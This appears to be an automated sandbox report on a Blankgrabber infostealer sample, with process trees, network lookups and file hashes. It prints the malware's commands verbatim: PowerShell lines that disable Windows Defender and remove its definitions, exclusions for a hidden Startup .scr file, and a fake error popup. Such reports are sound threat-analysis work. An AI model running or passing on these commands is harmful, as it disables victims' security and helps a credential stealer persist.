Malware Analysis Report

2024-10-10 08:25

Sample ID 240601-t3r6cahd75
Target SonicX_Executor.zip
SHA256 e09786736b94a59006103aec78bc3d5ebd618e6286450cc6e1f83c6ae7b2429e
Tags
upx execution blankgrabber
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

e09786736b94a59006103aec78bc3d5ebd618e6286450cc6e1f83c6ae7b2429e

Threat Level: Known bad

The file SonicX_Executor.zip was found to be: Known bad.

Malicious Activity Summary

upx execution blankgrabber

A stealer written in Python and packaged with Pyinstaller

Blankgrabber family

Command and Scripting Interpreter: PowerShell

Loads dropped DLL

UPX packed file

Unsigned PE

Detects videocard installed

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Enumerates processes with tasklist

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-01 16:35

Signatures

A stealer written in Python and packaged with Pyinstaller

Description Indicator Process Target
N/A N/A N/A N/A

Blankgrabber family

blankgrabber

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-01 16:35

Reported

2024-06-01 16:38

Platform

win7-20240221-en

Max time kernel

120s

Max time network

126s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp
N/A 127.0.0.1:49202 tcp

Files

memory/1500-2-0x000007FEF32D0000-0x000007FEF4DD8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-01 16:35

Reported

2024-06-01 16:38

Platform

win10v2004-20240426-en

Max time kernel

51s

Max time network

55s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
N/A 127.0.0.1:61896 tcp

Files

memory/1160-1-0x00007FFD2F3F0000-0x00007FFD30EF8000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-01 16:35

Reported

2024-06-01 16:38

Platform

win7-20240221-en

Max time kernel

119s

Max time network

120s

Command Line

"C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe"

Signatures

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A

Processes

C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe

"C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe"

C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe

"C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\_MEI22282\python310.dll

MD5 617c7f358a7744fa767ef52e5224c9ec
SHA1 6b8974308c1a734a5cfab590205d5135c216c54d
SHA256 67ce157f4e61ad163b773fa885620f4fad58793b7ca8b32e4cc38f1e6744b987
SHA512 25d3dc8eacb53284cfe1ef6f932606b6acc90fc5fac3157d6901e5cfa7f2ae8b06d87c73ba10516a43bb4f74c4e8cfd6ce8d3dfa7c65558e4705011288a4136b

memory/2576-23-0x000007FEF5B80000-0x000007FEF5FE3000-memory.dmp

Analysis: behavioral4

Detonation Overview

Submitted

2024-06-01 16:35

Reported

2024-06-01 16:38

Platform

win10v2004-20240508-en

Max time kernel

149s

Max time network

155s

Command Line

"C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4112 wrote to memory of 4476 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe
PID 4112 wrote to memory of 4476 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe
PID 4476 wrote to memory of 3264 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 4476 wrote to memory of 3264 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 4476 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 4476 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 4476 wrote to memory of 3504 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 4476 wrote to memory of 3504 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 4476 wrote to memory of 3500 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 4476 wrote to memory of 3500 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 4504 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 3504 wrote to memory of 4504 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 3500 wrote to memory of 1504 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3500 wrote to memory of 1504 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2596 wrote to memory of 2152 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3264 wrote to memory of 4068 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2596 wrote to memory of 2152 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3264 wrote to memory of 4068 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4476 wrote to memory of 3616 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 4476 wrote to memory of 3616 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3616 wrote to memory of 4452 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3616 wrote to memory of 4452 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4476 wrote to memory of 4708 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 4476 wrote to memory of 4708 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 4708 wrote to memory of 3220 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4708 wrote to memory of 3220 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4476 wrote to memory of 4888 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 4476 wrote to memory of 4888 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 4888 wrote to memory of 3136 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4888 wrote to memory of 3136 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4476 wrote to memory of 1832 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 4476 wrote to memory of 1832 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 1832 wrote to memory of 4728 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1832 wrote to memory of 4728 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4476 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 4476 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3084 wrote to memory of 4080 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3084 wrote to memory of 4080 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4476 wrote to memory of 3312 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 4476 wrote to memory of 3312 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3312 wrote to memory of 2376 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3312 wrote to memory of 2376 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe

"C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe"

C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe

"C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Please try again later', 0, 'Error', 0+16);close()""

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\mshta.exe

mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Please try again later', 0, 'Error', 0+16);close()"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‍  .scr'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‍  .scr'

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 8.8.8.8:53 blank-rrekt.in udp
US 8.8.8.8:53 blank-rrekt.in udp
US 8.8.8.8:53 blank-rrekt.in udp
US 8.8.8.8:53 gstatic.com udp
US 8.8.8.8:53 gstatic.com udp
US 8.8.8.8:53 gstatic.com udp
US 8.8.8.8:53 gstatic.com udp
US 8.8.8.8:53 gstatic.com udp
US 8.8.8.8:53 gstatic.com udp
US 8.8.8.8:53 gstatic.com udp
US 8.8.8.8:53 gstatic.com udp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI41122\python310.dll

MD5 617c7f358a7744fa767ef52e5224c9ec
SHA1 6b8974308c1a734a5cfab590205d5135c216c54d
SHA256 67ce157f4e61ad163b773fa885620f4fad58793b7ca8b32e4cc38f1e6744b987
SHA512 25d3dc8eacb53284cfe1ef6f932606b6acc90fc5fac3157d6901e5cfa7f2ae8b06d87c73ba10516a43bb4f74c4e8cfd6ce8d3dfa7c65558e4705011288a4136b

memory/4476-25-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI41122\VCRUNTIME140.dll

MD5 a87575e7cf8967e481241f13940ee4f7
SHA1 879098b8a353a39e16c79e6479195d43ce98629e
SHA256 ded5adaa94341e6c62aea03845762591666381dca30eb7c17261dd154121b83e
SHA512 e112f267ae4c9a592d0dd2a19b50187eb13e25f23ded74c2e6ccde458bcdaee99f4e3e0a00baf0e3362167ae7b7fe4f96ecbcd265cc584c1c3a4d1ac316e92f0

C:\Users\Admin\AppData\Local\Temp\_MEI41122\base_library.zip

MD5 0914056664e25c8ca354cff0080a06e5
SHA1 5b27f1317af9abf4724d8a2c8a02a20b60dd30c0
SHA256 ef6549f4ce4cc039f98f4aba2951d57870f8751a7ff712242a8764f052d16624
SHA512 2cf4720932527b8a3b538f0c117124e19f772b5dedcffdfbcf4be7c31a074bc05d9a27e582cd4fbcb3d2e150ecb28f1ca6b6c49d388f84a811de3e7d38237eaf

C:\Users\Admin\AppData\Local\Temp\_MEI41122\_ctypes.pyd

MD5 9ca880ee43fb91437d19498793311c2f
SHA1 a475666edc3c18155669afdb9360f66f6267bbef
SHA256 5c885a972a841f14ccc6d81b942a5acb60df116e7b06ad8cb2385fc59a7fb18d
SHA512 d20fdf32e4e678a1c113e7896494bdae604838bee47f74168012ff5031fd852a88f3d9964226f8b5217ed38fdeee2ce666ea30f7ac842bf30e7f2e2702cafc83

memory/4476-30-0x00007FFD09760000-0x00007FFD09784000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI41122\_socket.pyd

MD5 8acf34fc59c9715defdd5c6dd9f22803
SHA1 73dac021792f590b32ddef5fd6707e4c26d5c1b3
SHA256 514d22b51327e6837edaec2a27761aca535da7dd55043ea3d4e2cb8bd7d52a61
SHA512 0932234e97a68dd5faf46a06f5aba6e85f7d2b1896606b55d8a87a9d1973961d3913a9ea1aa0b5742e9b489eafacc5f50a74b597d4edfcf6bbde5ddd94f16fa0

C:\Users\Admin\AppData\Local\Temp\_MEI41122\_ssl.pyd

MD5 e9f1e4e988ee39cc71b48eea7a63fb86
SHA1 b853dd38b4d97d435d59df3b2691dbab7dcae9ef
SHA256 d7def30d231d85044acbcf278bde64081efaccc44a885e7831512be70efd790f
SHA512 c7c6707fa0cb7b4033ac2310de62d8ffdc955f7f48d0a49886ce405166fb5edfd5f9f52e4048186637e0af6a9bc8653b7f0f00b968f447b193c275265e480101

memory/4476-48-0x00007FFD0DC00000-0x00007FFD0DC0F000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI41122\_sqlite3.pyd

MD5 557a3a3a76c8bbc792901b201b0318cf
SHA1 c69027bbd7460f0be4582329de768cc3c4317bb2
SHA256 2c0b99f214e2c6c7f2a7bb81e1ec7759039308b09ca6c4e5ffa246a6afd2ba9e
SHA512 cd55f0e84e752b4789114b6f1803c96882607bc49203c9f5b1a1bce7ab1576fbbd1313f60ce59d4c67ccdaa2f28d7a297294f3a3b23ed81f599c66b066144493

C:\Users\Admin\AppData\Local\Temp\_MEI41122\_lzma.pyd

MD5 82ebacab21a375c90c2cc10a834d294b
SHA1 a066b0cbc5a8d7aab0ea78faa0785a1405abb23a
SHA256 138adc9f4a7e8cb239cdcce05af832b7e2527ed29de8e3f461c9900df8b2c404
SHA512 7f3b27f62d163126cbc23b3ac215ba9e5ebbf6769afc7d51d0db487f4b9ef9905a7180a25f6d5b80a033f1867ac6382842ce40791dd1404c8d46543bfb01cf0a

C:\Users\Admin\AppData\Local\Temp\_MEI41122\_hashlib.pyd

MD5 bd72948920169b6f05b4f252b2d88460
SHA1 a830843f0b210fb3eaad7adcb764e2f124603b7d
SHA256 ae2964c42e590ad1d51837dd96b747619e3ed28f35172c517d7875f4381823e3
SHA512 0cc1de1673932af3050b870dd9bcf8c51379dfb6f66c1acce7c345531aaaacdd31b25b553c3e602b4cff0380232ff194572c9c3184fd1182c70843df44bdf56e

C:\Users\Admin\AppData\Local\Temp\_MEI41122\_decimal.pyd

MD5 bc6649c56700e2969df45e3b590052cf
SHA1 8bec6d861811f02f14cc15d39a5f2f90b8428d02
SHA256 1384008ccd60cddcc839d3f7b0fc29bcaac3a8ad6edd9058488bd8ce21d695f8
SHA512 a965247291721d1eb873f2912f79197a4488055edbab4589648f8ee5358a2fc90d44a8544efba45331c5bb937bd4fa84181ffdf48ccb86ebcb205e2e2d53440a

C:\Users\Admin\AppData\Local\Temp\_MEI41122\_bz2.pyd

MD5 14f6cede9e0019d27c31eee3a915ef52
SHA1 573754df8bed96146ac30634df0729d06bf6a168
SHA256 b51492a7499cc557b8d3c055966a2fb5841b35fcb7ba9ba7e7d9b029a83ee44d
SHA512 a6673afd2fbed73961b222382e5e98a792b67ba67c552f771c4865345339a7952e6d468f039e4f8631f399e86b0ee920e9587a66fc1b8834c8628b9ac1e16a62

C:\Users\Admin\AppData\Local\Temp\_MEI41122\unicodedata.pyd

MD5 a44e3cc2bf01cc23cb5579b2ed9e72c6
SHA1 6cbc24b32ff828b0bf4061566aba1e284b474558
SHA256 5af3d3d89e0a6ba6cbae58791ec47778f2f98a0964f70d572bd91030165abb42
SHA512 5fdd0320f6d6884e71c768f10e6e606448c21ce75209e0c81cf9737596836e9af0914abf365d54b154a0f48e66f8d25ab9463baebe9110e1bf0d550838b77171

C:\Users\Admin\AppData\Local\Temp\_MEI41122\sqlite3.dll

MD5 fc6f37d7d90f3baacc483ef2dc6f0e05
SHA1 0c7a777afe00c9e21f408446e1b3e92cd59dbea9
SHA256 4d5b66f7f7b0912dc954f7ab917574da8c7904f3c13ec59e81894c22ffa88631
SHA512 74b2a9b0b4c43184f492d1a238dbf77ccca9ab29f7ab73ebf02419c66acd6952aa2318c50d3457d43ca6fe9f43957001f4b88fe9aec01be993b91189741fc85c

C:\Users\Admin\AppData\Local\Temp\_MEI41122\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

C:\Users\Admin\AppData\Local\Temp\_MEI41122\rar.exe

MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

C:\Users\Admin\AppData\Local\Temp\_MEI41122\libcrypto-1_1.dll

MD5 3cc020baceac3b73366002445731705a
SHA1 6d332ab68dca5c4094ed2ee3c91f8503d9522ac1
SHA256 d1aa265861d23a9b76f16906940d30f3a65c5d0597107ecb3d2e6d470b401bb8
SHA512 1d9b46d0331ed5b95dda8734abe3c0bd6f7fb1ec9a3269feab618d661a1644a0dc3bf8ac91778d5e45406d185965898fe87abd3261a6f7f2968c43515a48562c

C:\Users\Admin\AppData\Local\Temp\_MEI41122\blank.aes

MD5 73d4c0927ace9d703da3494f6e97c29b
SHA1 24814f9db3f99f8a19b5563697c73460026c9af3
SHA256 da37e113a64dbcae7d6d9bf1ffcb62892c2867eba52f3b494f133e3227c924c9
